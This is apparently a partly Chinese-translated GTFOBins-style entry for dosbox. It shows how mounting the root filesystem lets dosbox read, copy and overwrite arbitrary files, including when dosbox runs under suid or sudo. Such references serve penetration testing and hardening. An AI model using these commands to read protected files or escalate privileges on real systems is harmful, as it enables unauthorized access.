.. / dosbox

Basically dosbox allows to mount the local file system, so that it can be altered using DOS commands. Note that the DOS filename convention ([8.3](https://en.wikipedia.org/wiki/8.3_filename)) is used.

file-read

从文件中读取数据。

The file content will be displayed in the DOSBox graphical window.

LFILE='\path\to\要读取的文件路径'
dosbox -c 'mount c /' -c "type c:$LFILE"

The file is copied to a readable location.

LFILE='\path\to\要读取的文件路径'
dosbox -c 'mount c /' -c "copy c:$LFILE c:\tmp\output" -c exit
cat '/tmp/OUTPUT'

file-write

将数据写入文件中。

Note that the name of the written file in the following example will be FILE_TO_. Also note that echo terminates the string with a DOS-style line terminator (\r\n), if that's a problem and your scenario allows it, you can create the file outside dosbox, then use copy to do the actual write.
```
LFILE='\path\to\要写入的文件'
dosbox -c 'mount c /' -c "echo DATA >c:$LFILE" -c exit
```

suid

suid是一种授予文件的权限类型，它允许用户使用者以文件所有者的权限来执行文件。

Note that the name of the written file in the following example will be FILE_TO_. Also note that echo terminates the string with a DOS-style line terminator (\r\n), if that's a problem and your scenario allows it, you can create the file outside dosbox, then use copy to do the actual write.
```
LFILE='\path\to\要写入的文件'
./dosbox -c 'mount c /' -c "echo DATA >c:$LFILE" -c exit
```

sudo

如果二进制文件被 sudo 允许以超级用户身份运行，可能被用于访问文件系统、提升或维持特权访问。

Note that the name of the written file in the following example will be FILE_TO_. Also note that echo terminates the string with a DOS-style line terminator (\r\n), if that's a problem and your scenario allows it, you can create the file outside dosbox, then use copy to do the actual write.
```
LFILE='\path\to\要写入的文件'
sudo dosbox -c 'mount c /' -c "echo DATA >c:$LFILE" -c exit
```